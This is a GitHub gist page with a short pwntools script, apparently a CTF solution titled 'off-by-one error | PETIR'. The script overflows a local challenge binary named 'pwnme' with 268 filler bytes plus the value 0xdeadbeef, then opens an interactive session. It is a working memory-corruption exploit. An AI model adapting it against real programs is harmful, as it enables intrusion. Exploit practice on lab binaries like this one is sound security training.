Skip to content

Instantly share code, notes, and snippets.

@sharpicx
Created February 27, 2024 05:35
Show Gist options
  • Save sharpicx/23b45ac6f28e71a01a274649f824a24e to your computer and use it in GitHub Desktop.
Save sharpicx/23b45ac6f28e71a01a274649f824a24e to your computer and use it in GitHub Desktop.
off-by-one error | PETIR
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./pwnme', checksec=True)
p = e.process()
offset = 268
p.sendline(("A" * offset) + "\xef\xbe\xad\xde")
p.interactive()
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment